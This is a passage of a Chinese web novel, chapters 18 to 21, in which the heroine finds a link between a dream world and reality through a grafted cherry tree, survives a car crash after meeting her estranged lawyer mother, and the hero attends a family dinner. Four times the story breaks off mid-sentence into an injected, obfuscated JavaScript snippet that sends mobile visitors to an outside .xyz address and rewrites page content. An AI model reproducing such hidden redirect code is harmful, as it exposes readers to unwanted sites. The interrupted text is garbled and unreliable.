“周城家在最里面,离村口有点距离。”徐箴言递过来两瓶水,注意到林菀似乎没有那么高兴,“心情不好?” “没事,”涂淼自作主张地回答,“她最近勤奋练琴呢,累了。” 林菀算是默认了她的回答,转而问道:“蕊蕊呢?” “送回我姐那里去了。” 涂淼诧异地看了眼林菀。从徐箴言说的话,大概能判断出蕊蕊是他外甥女的名字,可林菀怎么会知道?虽然心里有疑问,但她顾及林菀脸面,什么也没有问,重新端起笑脸,“周城哥来了!” 周城从家里出来迎接他们。 周城是职业画家,他的作品最高拍卖价格是十万美金,虽说比不上林乃岳,但在这大咖圈里已经算小有名气。 为了潜心作画,周城除了时不时去大师班教学,大部分时间都远离尘嚣,居住在山情画意的乡间。他向一户农民签下二十年租约,将一栋老房子改造成自己喜欢的中式二层小别墅。 上一次在大师班见面,周城穿着没有打底的衬衫,而徐箴言则在衬衫里穿了件白色圆领T恤。今天再看,周城已经在条纹衬衫内穿上了圆领打底衫。徐箴言则只是穿了简单的白T恤黑裤子,没有任何花纹。 周城将他们三人带回家,林菀一路上打量周围景色,竟然越看越眼熟,尤其是门口那条河。“我好像来过这里。” “你当然来过,连师娘都来过。”周城推开院落的大门。 他的小别墅返璞归真,背靠竹林。院中栽种各种花草,也有吊篮、凉亭,以及一口小泉眼,细水长流。涂淼连忙掏出手机拍照。 墙角,两个戴着草帽的大妈正蹲在地上拔草,连带好几株开得正艳的绣球花也拔掉了。 “这花挺好看,怎么不要了?”徐箴言问。正好林菀有跟他相同的疑问。 “打算在这儿种几棵果树,下午就有人送过来——不过我还在考虑,菀菀你说种樱桃树还是桃树?”周城问。 菀菀二字出口,徐箴言眼神微妙地挑眉。而林菀没有意识到什么,“樱桃树?樱桃更好吃。” “那就樱桃树。”周城点点头。 “你来真的?”林菀诧异。 “当然。”周城掏出手机,打电话叫人送樱桃树来。 徐箴言径直上台阶,将礼品盒放在桌上,脸色淡淡,不知在想什么。 周城打电话回来,带领大家参观客厅。由于光线明亮,这里是他经常作画的地方。墙壁上挂着各种艺术大拿的作品,桌上也有说不出形状的先锋派摆件。但最中央的位置挂着他那副十万美金作品的初稿,画的是莱城夜景。 林菀不禁朝徐箴言看了一眼。徐箴言的画室非常简单,外间的茶室也没有什么花里胡哨的东西。 而周城还在介绍:“这个木头雕塑摆件是1930年的,蒂诺克设计,美国一个家居品牌限量生产,这个品牌在上个世纪七十年代就倒闭了,所以这个也是绝版。” 涂淼对设计很感兴趣,认真地听着。 介绍了几个艺术品后,周城再次准备出门,因为他订购的几只波士顿龙虾到了。而院子太远,海鲜店只负责送到村口。 “这么大手笔啊,周城哥?”涂淼挺惊讶。 “毕竟你们是贵客。”周城笑了笑,让他们自便,随后出门。 “说实话,箴言,”涂淼想了想,忍不住说道,“你在大师班丢失的那副画到底多贵呀?值得人家如此破费。” “不值钱。平时画着玩儿的,我没卖过画。”徐箴言说。他站在林菀身边。 “你画的是什么?”林菀微微侧头。她也很清楚他就在她身边。相比价格,她对徐箴言画的内容更感兴趣。 “一种叫加百列的月季。我先画了盛开的月季,就是丢失的那一幅。本来还想凑齐一个系列,花苞、盛放、枯萎。”他在家画了前后两幅,就缺那丢失的一幅月季了。 这时,大门被哐当一声打开,一个穿着不知哪个大学的迷彩军训服的老果农开着三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102835|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮车载着树苗进来。两位拔草的大妈早就离开。 他摘下草帽,开始对着屋里的三人说话。 涂淼沉默地听着,突然问林菀,“他说的是哪个国家的话?日本吗?” 林菀下意识看旁边的徐箴言。 徐箴言蹙眉思考,“听不懂,乡音太重了。” 林菀试探问:“您好,您这是樱桃树苗?” 大爷又说了一段话,转身把铁锹拿下来,朝拔草的墙角走。 林菀想要阻拦,但被涂淼拉住。“我大概能猜出他的意思,他要种树。” “……是个人都看得出来,这不得等周城回来吗?”林菀扭头一看,徐箴言已经在给周城打电话。 周城说大爷挺忙,让他自己估摸着干活就行。可徐箴言觉得这大热天的让一老大爷暴晒干活太辛苦,便卷起袖子在旁边帮忙。 “要喷防晒吗?”林菀拿着防晒喷雾过来。 “好。”徐箴言没有草帽,便站在原地,自然地闭了眼睛。 林菀一愣,意识到徐箴言两手都粘着泥巴,她便晃晃喷瓶,帮他喷。手上动作没耽误,可她心跳却快了许多。 涂淼坐在走廊下,一边喝水,一边盯着她的背影看,眯眯眼睛,默不作声。 五株树苗栽好,大爷又掏出一个弯弯的小刀,开始说话。 “您是要修枝?”徐箴言问。 大爷继续讲话。 “我猜他是要割草。”林菀说。 大爷看没人拦住他,弯腰就将一株树苗的主杆砍去一节,掏出裤兜里的胶带。 徐箴言和林菀恍然大悟,异口同声,“嫁接。” 林菀没干过农活儿,看这嫁接手法很是新奇,便想要试试。她其实也纳闷为什么刚刚移栽就要嫁接,不过想来可能大爷实在太忙,又或者周城觉得麻烦,索性全凑一天弄好,然后听天由命。 大爷虽然不会说普通话,但听得懂,把小刀往林菀手里一塞。徐箴言也半蹲在旁边,给她帮忙。 在他的手衬托下,林菀的手显得娇小很多。指尖与指尖总是有意无意地碰在一起,让她的心跳快一下,慢一下,结果就一不留神,把那株树苗侧切得过分歪斜。 大爷摇头叹气地在旁边指导,然而还是没有人听得懂他的话。 “怎么办?切口合不上,固定不住。”林菀思考怎么补救。难不成周城这树苗才种下第一天就被她嚯嚯死一棵。 “试试这个。”徐箴言突然发现地里有个蜗去壳空的蜗牛壳,看上去挺坚硬,擦拭一下也很干净。他将这个蜗牛壳摁到被嫁接的树枝旁边,这样就堵住了切口斜凹的部分。 林菀赶紧拿胶带将嫁接处缠绕起来。 大爷在旁边伸长脖子看,瞧见他们竟然塞了个蜗牛壳进去,他嚷嚷的声音又高了好几个调,不过也没插手管,只是背着手走到旁边去,眼不见心不烦。 林菀为补救成功而开心,突然脑海里火花一闪,想起了五年后她和同事们去河边露营——那其实就是前不久发生的事情。 她和谭姿去河边采摘园,那里有五株樱桃树,其中一棵树的树干上有个瘤子,凹陷处刚好卡嵌着一个轮廓合适的蜗牛壳。 她顿时如五雷轰顶一般僵在了原地。 没有一丝风的初夏,蝉鸣阵阵,闷热至极。 然而她却在这蒸笼一样的天气里感受到了一股诡异的凉意从尾椎骨爬起。难怪她来到这里觉得眼熟。这里就是露营地,只不过她上次露营是从南边过来的,而今天是从北边过来。 现实世界……梦境世界……竟然是可以连通的。 证据,就是这五株她挑选的樱桃树,以及徐箴言留下的,樱桃树上的蜗牛壳。 19. 初见林大律师 “今天就谈到这里。您辛苦了。”徐箴言向坐在桌子对面的人伸出手。 “我还有客人,就不送了。”对面的女士握手,身姿未动。 徐箴言礼节性地微笑,起身推门出包厢。见客户喝下午茶,这一个下午就过去了。 “你好,打包甜品的话,在哪里下单?”他问走廊上的服务员。林菀最喜欢的广式甜品是白雪黑珍珠,徐箴言不喜欢吃甜食,但今天尝了这家店的,感觉味道不错。 “请跟我来。”男服务员说。 他刚带着徐箴言离开,一位女服务员就带着林菀,以及其他两位客人从另一端过来了。 两位客人一男一女,男客三十多岁穿着西装喷着香水挺精英,而女客则五十多岁,神态憔悴,眼眶通红,头发也蓬松随意地披在肩头。她用指头擦擦眼睛,低头开包找什么。 林菀犹豫了一下,想上前递纸巾,又怕别人觉得唐突。 “您是这个包间。”服务员打开一扇门。 “谢谢。”林菀匆匆扫了一眼。那一男一女进的是隔壁包间,已经有一个女人在里面等候。 墙壁隔音不太好,林菀坐下便听到那边模糊断续的男声。“介绍一下……林律师,这位……方女士。” “我来啦!”涂淼豪气万丈推开门,边脱外套边打量环境,“整这么幽静,你要跟我商量什么大事?” “先点菜。” “有什么好吃的?”涂淼翻着菜单,“嚯,白雪黑珍珠排名第一,怪不得要来这里。”这是她俩最喜欢的甜品。涂淼突然觉得不简单,“到底什么事?” “这件事关于你,”林菀思考了很久,从昨天郊区返城后就一直在思考,而现在已经有了结果。她长长地深呼吸,平静道:“你相信我吗?” “相信啊。” “愿意赌上后半辈子命运的那种相信吗?” 涂淼愣了,但还是顺着她的话说下去,“可以。” “好。”林菀一颗悬着的心终于放下来,一字一句道,“那你就继续全心全意地相信我,你的后半辈子,我来负责。我要带你走,过新的生活,过安全的生活。”她要让涂淼平安地活下去。 从来没有人鼓励林菀说你可以做大事,所以她也鲜少尝试。可现在就算没人鼓励,她都想要完成一桩几乎不可能的任务——把涂淼带去现实世界。就算她从来没见过其他人跟她一起穿越,就算这个世界是虚幻的,因为两个世界可以连通,那么她一定要将虚幻变成现实。 涂淼闻言开玩笑道:“虽然我一直祈祷你暴富了包养我,可你这是要跟我私奔啊?” 这一刻,看着涂淼的笑脸,林菀心口那堵住她所有秘密的石头突然松动,她忍不住想说出来。她也清楚这个时机一旦错过,下一次再开口势必要经过三思。“你听我说,我来自一个不同的世——”她不怕告诉涂淼,涂淼肯定不会瞧不起普通打工人林菀。 然而她话还没说完就听得隔壁哐当一声,像是杯子砸碎了。 “我花了一千块一小时的咨询费。可你听听你说的是人话吗?林律师。我是来寻求你的帮助,不是来听你冷嘲热讽。”女人声音沙哑颤抖。 与她的激动相比,另一个女声显得冷漠平静。“我真看不出打官司的理由。这活儿我不接。你拿钱走人,有什么不好?” “方女士,林律师,你们都淡定点——” “他是我丈夫!我辛辛苦苦做了二十五年家庭主妇,珍珠熬成鱼眼睛。他都五十多了,想起来要追求年轻真爱了?我算什么?我儿子怎么办?亲朋好友怎么看我?我成了被抛弃的黄脸婆,凭什么轻轻松松放他走?” 林菀和涂淼四目相对,在彼此眼里都看到了愕然。 而另一个女声还是无动于衷,“如此看重外人眼光,更不能打官司。一闹天下人皆知。我劝你还是拿钱走人。” “这律师是男方派来的奸细吧?”涂淼忍不住吐槽,她都听不下去了。 而这时,那个咨询的妇女终于忍不住,哐当推门走人,结果撞到过来给林菀这边送菜的服务员,盘碟摔了一地。走廊上顿时乱作一团。 林菀闻声出去看情况,帮忙把浑身西米冰沙的服务员扶起来。 那位方女士捂着脸哽咽着蹲下来。一直劝和的西装男连忙冲出来向大家道歉。而他身后,林律师终于纡尊降贵地站到门口,冷眼看情况。 林菀猝不及防地见到了一个跟自己十分相似的中年女人。 女人穿着黑色职业套装,胸前别着玉兰花造型的胸针,头发整齐绾在脑后。 那一瞬间,林菀仿佛见到了二十年后的自己。她不用思考便分辨出来人——林珠莉,她的母亲。 林菀没有一岁时的记忆,所以压根不记得母亲的脸和声音,只在照片里见过她未婚时的模样。后来按照《今日说法》那些案子,林菀拼凑出来的是一个歇斯底里、狠毒又憔悴的已婚妇女形象。而眼前的林珠莉她想象的完全不一样。 早已迈入中年的林珠莉,是养尊处优的,是平静漠然的,是干练成熟的。 林菀突然发觉她不应该参考《今日说法》那些犯案后就被抓捕的犯人,而是应该参考那些隐姓埋名二三十年才又被抓住的逃犯,其中不乏靠着抢劫案发迹的大老板,后来也心宽体胖。 而眼前这位大老板,显然是一位成功的离婚律师。 “不好意思,林律师。”西装男将方女士扶起来,“我送她回去。” 林珠莉随意点头。 林菀不忍心看下去,追了几步,将自己的手帕纸塞给那个妇女,又使劲握了一下她的手,仿佛这样就能将自己的力量分享过去。 方女士泪眼婆娑地看向她,哑声说了谢谢。 走廊重新恢复安静,林珠莉打量着林菀,脸上没有任何多余表情,“听说你得奖了。” “嗯。”林菀下意识后退一步。这都是多久之前的事情了。而涂淼站在她身后,规规矩矩地问好。 “我要回律所,你有时间就现在出来见个面。”她掏手机看了眼时间,也不等林菀回话便朝外走去,至此未再回头。 林菀听她这话第一反应是拒绝,她必须离林珠莉越远越好。可是……她见到了林珠莉使用的手机。那是一个黑白翻盖手机。 林菀再次看向她的背影,发现她穿的套裙竟然有垫肩,样式也属于经典老款,优雅但不新潮。 二十多年前的林珠莉做梦时根本无法预料到未来的科技会发达到什么地步,而潮流又会有何种更替。所以……眼下年过五旬的她有一种从旧时光里走出来的感觉。 这一层诡异的认知,让林菀忍不住想继续试探试探林珠莉的底细。想到这里她回头看向涂淼。 涂淼机灵将两人的包都拿出来,“去吧去吧。你俩是该好好谈谈,赶紧和好。饭钱你不用担心,能退的菜我都退掉,其他的我打包去工作室。” 林菀出了餐厅,发现林珠莉已经坐在一辆商务车的驾驶座上。 “上车”林珠莉说。 “……我自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102836|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开车来的。” 林珠莉的司机恭敬地站在旁边,“您把车钥匙给我吧,我来开。林律师赶时间回去开会,正好路过繁寓路,可以送您回家。” 有司机这么说,林菀只好沉心静气,保持淡定地上车。在这淡定之中,她的心跳又有点快,就仿佛热爱翼装飞行的极限运动员跳下飞机,在明知巨大危险的情况下,让多巴胺和肾上腺素调动全身兴奋起来,全神贯注,全力以赴。危险,有时候是兴奋剂。 这一刻,她突然觉得林珠莉也没那么可怕。一句话,兵来将挡水来土掩。 林珠莉一手放在方向盘上,一手抽出一张名牌,“新号码。” 林菀看到上面写的是林氏律师事务所,“你什么时候当律师的?”她完全不知道,以前听二叔说妈妈是护士。 林珠莉看了林菀一眼,这个问题过于古怪,她们又不是完全不熟的陌生人。而林菀也察觉到这一点,“我是说……忘了你什么时候司考。”记不住司法考试时间,这个总说得通。 “五十岁。” 林菀暗地里一惊。这个年龄跟年轻人一起司考,实在是有勇气。不过她还想继续试探,“你有微信吗?” 果然,林珠莉的回答是——“我不用微信。” 林菀垂眸,细细沉思。梦中人到底有多少自主性?应该会受环境影响啊…… “听说大师班外墙被撞毁时你在场。”林珠莉说。 “你又知道?”话出口,林菀才觉得脑子里神经一跳。她突然意识几个月前她与林珠莉决裂的原因——明明林珠莉对她漠不关心,但送她的手机里却事先装了定位软件,掌握她所有行动。暴露原因是林珠莉发现她去了民政局。 林菀感觉太阳穴要爆炸,实在是想不起来到底是什么地方的民政局,只记得林珠莉质问原因——毕竟林菀结婚就能迅速将保险受益人换掉。 林珠莉没有搭理她的质问,继续问道:“那件事跟你有没有关系?” 林菀气笑了,“你觉得我故意找人撞毁那栋房子?”对了,那房子肯定是林大律师的不动产。 林珠莉眼神看不出情绪,幽幽斜瞥了她一眼,“下周我就换掉经理。” “早该换。”林菀冷笑,心想就周城说的那种管理混乱情况,能坚持到现在都罕见。 路口红灯,林珠莉停下车的同时左打方向盘,斜斜停在一辆满载的大卡车后面。 这车辆姿势奇怪。林菀下意识瞟了眼后视镜,见到自己的车就被司机开着跟在后面。 她还没来得及收回目光,下一秒就感觉轰隆一声整个人弹了起来,又被安全带勒回座位,后脑撞到靠背上。 电光火石之间,整辆车朝大卡车的左侧方爆冲而去。由于方向盘左打,林珠莉所在的驾驶方位顺利被挤出车道,而林菀所在的副驾驶一侧则直接撞上了卡车车厢。车门顿时变形向内凸耸。 剧烈的撞击声与行人尖叫声中,林菀的手机掉到脚边,显示徐箴言来电。 而她竟然没有感觉到任何惊恐,甚至跳脱出来从第三视角观察自己,脑海里突然浮现了一个经典的人类撞车行为——在面对危机时,司机的大脑为了避险,在人还没反应过来时直接指挥肌肉,下达左打方向盘的指令,这样迎面撞车的便是副驾驶位置。遭殃的一般都是坐在副驾驶的人。但这种情况下,司机行为无可厚非,因为这是本能反应。 可眼下情景与这个行为有所不同的是——林珠莉事先就左打方向盘。 仿佛……她会预判危险。 20. 连环追尾 林菀完全没有害怕。 与上次电线事故当中的慌张相比,她已经能冷静地坐在扭曲变形的副驾驶座位里,告诉自己要平复心情,然后一步一步理清当前的情况。虽然腿脚抽不出来,但她除了部分擦伤,没有感觉任何不适。 夜色已经降临,三条车道的马路已经被警戒线封锁。两侧绿化带外尽是围观人群。警车、消防车、救护车的闪灯光芒此起彼伏。 卡在车里,林菀不清楚事故情况到底如何,但能从看热闹的人们惊呼声中明白,开她的suv的司机伤势更重。 而林珠莉没有受伤,她正在警车前跟警察沟通。 林菀平静地看着她的背影,一动不动。她当然用脚指头都能想到事故原因。两次意外事故让她明白,之前努力避开林珠莉是彻底的错误。她既然选择三番五次地进入这个世界,那就做好了迎接所有结局的可能。那她还有什么好怕的?未来将涂淼带走的同时,将杀害林乃岳,企图对女儿动手的凶手绳之以法,岂不是更好? 这种人继续招摇过市——瞧瞧她怎么对待上门寻求法律帮助的妇女就知道——她只是社会毒瘤。 “啊……”一个全副武装的消防员看到林菀就脚下错了一步。 林菀回神,扭头打量对方,“……小姗?” “嗯……”江小姗拖着毁锁枪蹲下来。他的心情有点复杂,怎么又是她? “司机救出来了吗?伤得重不重?” “车损严重,还在破拆。”江小姗扶了下头盔,闷声干活,“不过他神志清醒,有医生帮忙。” “那就好。”林菀松了口气,“要不你们先去救他,我不急。” “那边人手够了。”江小姗摁住车门,“我现在破门,你感觉疼就说。但是我会小心的。” “好,辛苦你了。” 旁边的消防员瞅见她这样平静,不由得竖起大拇指,“挺淡定啊。” “我没受伤。”林菀甚至报以微笑。 车门完全卡死,江小珊和队友废了半天劲儿,只掀开一小块铁皮。他刚好看到手机,便伸手将它取出来。 手机屏幕已经裂成蜘蛛网,但意外地还有来电显示。江小姗一看上面弹出来徐箴言的名字,下意识接通。 “喂,是我啊。”他皱起眉头,“……什么?听不清。出任务呢,她没受重伤……对,你咋知道我们在哪?抖音上有啊?”他四处张望,发现不少围观群众的确举着手机。但警察已经开始清场。 “嗯,他要跟你讲话。”江小姗将手机递过来,好巧不巧手机瞬间黑屏。他又试了几次,无法重启手机,“好像坏了。” “……你为什么要接我的电话?”这才是林菀关注的问题。她压根不想让徐箴言知道自己又遇到车祸了。 “哦,不好意思。”江小姗本来要把手机揣兜里,突然想起来又递过去,“忘了这是你的手机,咱俩用一个型号。” “……算了,丢掉吧。”林菀在心底叹了口气。反正手机不能用了。 二十分钟后,消防员们将林菀顺利从车里解救出来。医生确认她没有大碍后离开。而受伤的司机已经被先行送往医院。 跟警察聊完后,林菀的注意力一直放在整个车祸场面上,一共有四辆车追尾。根据警察的说法,第一辆车撞上了林菀的SUV,而这辆车则由于惯性,撞上林珠莉的商务车,最后商务车追尾满载大卡车。 林菀的SUV被撞得最为严重,前后都挤压变形。而开车的司机双腿骨折,头破血流。 如果不是林珠莉喊她上车,那么重伤的便是林菀。可即使这样,林菀乘坐的商务车副驾驶也被撞得歪七扭八。江小姗说但凡车位再右挪一点,林菀都不可能轻伤而退。她只能说是侥幸逃过一劫。 发现林菀在查看车的情况,江小姗走过来。“你是刚刚从餐厅吃饭出来?” “你怎么知道?”林菀回头。 “撞车的那个见到警察就招了。”江小姗指指那群正在忙活的警察,“他是服务员,知道你点了酒,可出门后没叫代驾。所以他开车出来是想追尾碰瓷勒索,但没想到开车的还有其他人,心里一慌,油门就踩过头了。” 林菀愕然地愣神,心中五味杂陈。她万万没想到原因竟然是这样的。这就偏偏赶巧了,怎么林珠莉也在那里吃饭?林菀思索再三,又问道:“他认识林珠莉吗?” “谁?” “我妈。” “他连你都不认识,怎么会认识你妈?”江小姗抓抓脑袋,觉得纳闷。 “你知道我是谁?”林菀又问。她没有跟江小姗说过自己是小提琴家,料想消防员也没时间去听她的演奏会。 “额……我应该说不知道?”江小姗迟疑地发出疑问。 林菀头疼,索性也不问了。 而此刻,几辆道路清障车已经到了,依次将事故车辆拖走。 林珠莉正在跟赶过来的保险公司人员交涉。豪车不好买保险,林珠莉的车只上了交强险。饶是这点就已经让过来看现场的工作人员愁眉苦脸。 警察不知跟消防员沟通说到什么,再次找到林珠莉询问情况。 看到警察拿着手铐站在林珠莉跟前的那一瞬间,林菀脑子嗡的一声,瞬间睁大眼睛。警察无意间拿在手里的手铐就像一个催化剂,点燃她心中暗藏的火焰,腾地窜到半空。有一个声音在她耳边呐喊——告诉警察!告诉警察她有两亿保险,告诉警察林珠莉害死了丈夫!就算当年警察调查结果是林乃岳自杀又怎样?总有办法能让警察重启调查。 而另一个声音也紧接着响起——不能轻举妄动,一旦打草惊蛇,后面就不好办了。林乃岳就算是被谋杀,也已经过了追诉期。她要掌握足够的证据后再举报林珠莉,这样才稳妥。 两个声音在她脑海里吵得不可开交。慢慢地,怂恿报警的念头占了上风。林菀下意识朝警车那边迈步。 然而她才走出一步,就突然被人紧紧拉住胳膊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102837|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是她!不是你母亲!”风尘仆仆的徐箴言及时拽住她。 “你说什么?”林菀在风中回头,如梦初醒,连声音都变了。 “你怀疑的事情,她没做。”徐箴言看着她,停顿半刻,又说,“她没有任何资金问题,无负债无官司,刚刚才并购了两家律师事务所。” 他的手太紧,紧到仿佛要将她钉在原地。林菀一瞬不瞬地盯着他,胸口不住起伏,心海潮起潮落,“你知道什么?” “你的保险。”徐箴言凝视着她的眼眸,毫不犹豫地开口,“我有朋友是你在乐团的同事。现在林珠莉也是我的客户。” “那又怎样?”林菀挣脱他的手,心底莫名有些焦躁与抵触,突然不耐,“你又对她了解多少?”他是局外人,有什么立场来劝说? “她的律所、不动产以及林乃岳基金会——所有资产累加已经超过你的保险数额,她为何要以身试险?她自己也拥有高达五千万的人身保险,受益人默认为法定继承人,也就是你。一旦她出事,从法律上说,她的一切都属于你。” 菀听他说完,很快便回神,没有一丝动容,“这只是障眼法。我亲眼看到刚刚车祸她左打方向盘——” “这是唯一正确的做法。”徐箴言打断她的话,语速极快,但逻辑清晰而冷静,“但凡跟在卡车后停车,以防发生意外,左打方向盘是最优解。一旦追尾,车就会从左侧滑出,否则会直接挤成铁饼。她没想害你。” “额……”在旁观围观的江小姗虽然不明所以,但觉得这两人的聊天着实古怪,不过他也忍不住就专业知识插嘴,“确实是这样。跟在载重车后面停车时应该稍微左打方向盘。” 夜风越来越凉。林菀看着徐箴言,又扭头看了看江小姗,默然片刻,最后暗暗攥紧手指,再次扬起头,“你不明白,她恨我父亲,自然也恨我。” “做试管非常痛苦。从打排卵针到取卵、受精直至移卵,都是对生理和心理的双重折磨。更何谈二十多年前的技术水平——你在怀疑之前,思考一下她是如何生下你。”徐箴言放轻语气。 林菀错愕地看着他,没有说话。她没想到徐箴言会提起这一点,也没料到他竟然知道这一点。 “接触下来,我认为她是一个过度理智的人,头脑谨慎,思路冷静。她不参与任何金融投机,对杠杆也不感兴趣。更遑论她是一个律师,对法律一清二楚。向你下手……对她来说杠杆过高,风险过大。” 徐箴言的话,依旧不足以说服林菀。但她沉默着,重新将目光投向警车边上的林珠莉。 林珠莉也在看她,抱着胳膊,以一种说不清道不明的神色打量林菀以及与她纠缠不清的年轻英俊男人。 “我有一个问题。”半晌,林菀终于开口。 徐箴言耐心地等待着她询问,目光很深。 她默了一会儿,重新开口:“你怎么知道我是试管婴儿?”她确信自己从来没有跟徐箴言提过这件事。 21. 徐雯的饭局 徐雯原计划出差回来与银行的乔总吃饭,但因为双方都临时有事,饭局改到这个周五晚上。 傍晚下班时间,乔总特意绕到徐箴言工位前,“箴言,你搭我车?” “谢谢您,不过我也开车了。”徐箴言放下笔,“稍后跟上您。” 他俩的对话吸引了办公室不少人打量的目光。 乔总离开后,徐箴言继续处理资料。他虽然盯着文件,但思路没回来。本来他只是替徐雯传个话,但没料到乔总坚持要他一起吃饭。而他原本不想如此高调。 “兄弟以后多罩我。”后桌的男同事起身,顺手拍怕他的肩膀。 “……”徐箴言索性收拾东西下班。 等他到餐厅,徐雯已经坐在包间。一见到弟弟过来,她就掏出一个盒子,“试试。” 徐箴言一看就知道是手表。“我不缺,给姐夫吧。” “男人出门必须打扮精神点。”徐雯取出手表,执意让徐箴言试戴,“他有,我也买了。” “我上班戴这种表不适合。”徐箴言推过去,这表比徐雯最贵的包还贵。 徐雯打量着他的脸色,“你是不是跟女朋友分手了?”她顿了顿,“以前眉开眼笑,开心得不得了。这段时间就没见你眉头舒展过。” “……是工作上的事情。”徐箴言避开姐姐的视线。 “别人恋爱都是大大方方,你怎么神神秘秘,总是不肯把她带出来见人?我又不是那种刁蛮的姐姐。你担心我反对你们俩吗?” “没有。” “我相信你有自己的判断……”徐雯望着弟弟的侧脸,突然伸手摸摸他的头发,“我不会对你的选择指手画脚。只要你幸福就好。”在某些为人处世方面,徐箴言甚至比她都成熟。而她没有资格安排徐箴言的人生。 一股难以言状的情绪涌上来,徐箴言突然心里堵得慌。他不太习惯姐姐突如其来的真情流露,也不想气氛过于伤感,于是开玩笑道,“别弄乱我发型。” “矫情。”徐雯果然笑起来,拍拍他的肩膀。 而这时,乔总才推开门,“哎,迟到了。待会我自罚三杯。这是我闺女,刚刚回国。”他把留学回国的女儿也带过来了。 徐雯笑着起身迎接。她立即猜到了乔总的用意。 “晚上好。”作为下属,徐箴言主动和父女俩打招呼。 坐下点菜时,徐雯凭借女人的直觉就立即发现女孩儿的目光时不时停留在徐箴言身上。在徐雯看来,光凭借弟弟外表出挑这一点,没几个小姑娘能不被吸引。 “点个小龙虾?你昨天说想吃。”乔总问闺女。 “我下午才做的美甲。” “做美甲怎么就不能吃小龙虾?” “您这就不知道了。”徐雯及时搭腔,“有美甲不太方便剥壳。箴言女朋友也是,做了美甲后,我看她连荔枝都不吃。她说一不下心就会把水钻吃进去。” 乔总脸色微变,又笑着问,“箴言有女朋友?没听说。” 徐箴言刚要开口,又被姐姐打断。 “现在的孩子谈恋爱早。我倒是希望他先立业,心思多放在工作上。”徐雯看了眼弟弟,似笑非笑,“多努力,毕竟业精于勤。” “是。” 乔总只能顺着徐雯的话说下去,“他工作表现不错。” 服务员很快将酒和菜端上来。 徐箴言帮大家倒酒,他给徐雯倒的酒很少。而乔总发现了,非得给她加满,然后一个劲儿给徐雯敬酒。 等他第四次敬酒,徐箴言端着酒杯站起来。 “哎,请客的是徐总,你喧宾夺主了。” “我替她喝,我敬您一杯。” “有前途,年轻人。” 喝完坐下,趁着乔总跟他女儿说话,徐箴言将徐雯的酒杯端过来,毫不犹豫倒了大半杯进自己的杯子里。 徐雯静静地看着他,眼里映着天花板温温的灯光。 饭局结束是两个小时之后。徐箴言给两边都叫了代驾,然后陪着醉酒的徐雯回家。 已经是晚上十一点,开门的竟然是穿着秋衣秋裤的蕊蕊。“妈妈回来啦,哇,舅舅!” “怎么还没睡?” “她非得等徐总回来。”保姆阿姨说。 “妈妈又应酬喝多了。我马上就打电话跟爸爸说。”蕊蕊跟在徐箴言身后,帮妈妈拿拖鞋。她并不知道应酬是什么意思,但是应酬肯定等于喝酒。 徐箴言将徐雯扶到床上,半蹲在床边替她脱鞋,然后盖被子。他问蕊蕊,“你爸爸又出差了?” “嗯。”蕊蕊很乖巧地点头。她爸爸是大学教授,结婚很迟,如今已经五十出头。他跟徐雯认识时,徐雯刚巧在他供职的大学里读MBA。 蕊蕊爸爸科研任务繁重,年纪大了精力也不足,鲜少能陪着孩子蹦上跳下地玩乐,带孩子都是看看花鸟下下棋,所以蕊蕊更喜欢年轻运动款的舅舅。 徐箴言将孩子带出客厅,看到保姆阿姨在打哈欠。她不是住家保姆,晚上要回家。 “家里有豆芽吗?”徐箴言问。 “有,在冰箱里。” “好。那您回去吧。这边有我。” 保姆点头,拎着包开门离开。 徐箴言打开冰箱将做醒酒汤的食材都拿出来。而蕊蕊也跑过来,将她的卡通餐具从碗橱里掏出来摆到桌上,坐好,脖子上还挂着她的卡通手机,要给爸爸打电话的。 徐箴言看到她这模样就笑了,“你做什么?” “我吃饭。” “现在不是吃饭的时候,应该睡觉。”徐箴言卷起袖子,“我给你妈妈做醒酒汤。” “我也要喝。” 徐箴言想了想,明天是周六不用去幼儿园,而小孩子也能喝豆芽汤。“行。”他转身开始煮汤。然而其实他忙着帮徐雯挡酒,喝酒比她多,头疼得厉害。 做好汤,徐箴言叮嘱蕊蕊乖乖等汤凉,然后端着一碗进主卧。 “姐,起来喝解酒汤。”他将床头灯打开,把徐雯扶起来,瞧见她脸色憔悴,“想吐吗?” 徐雯摇摇头,伸手捋了捋垂到脸上的头发。 “喝完再睡。”徐箴言拖出凳子坐在床边。 “你没喝?” “我那份在客厅。”徐箴言说。其实豆芽太少,他只够做一碗,另外匀出小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 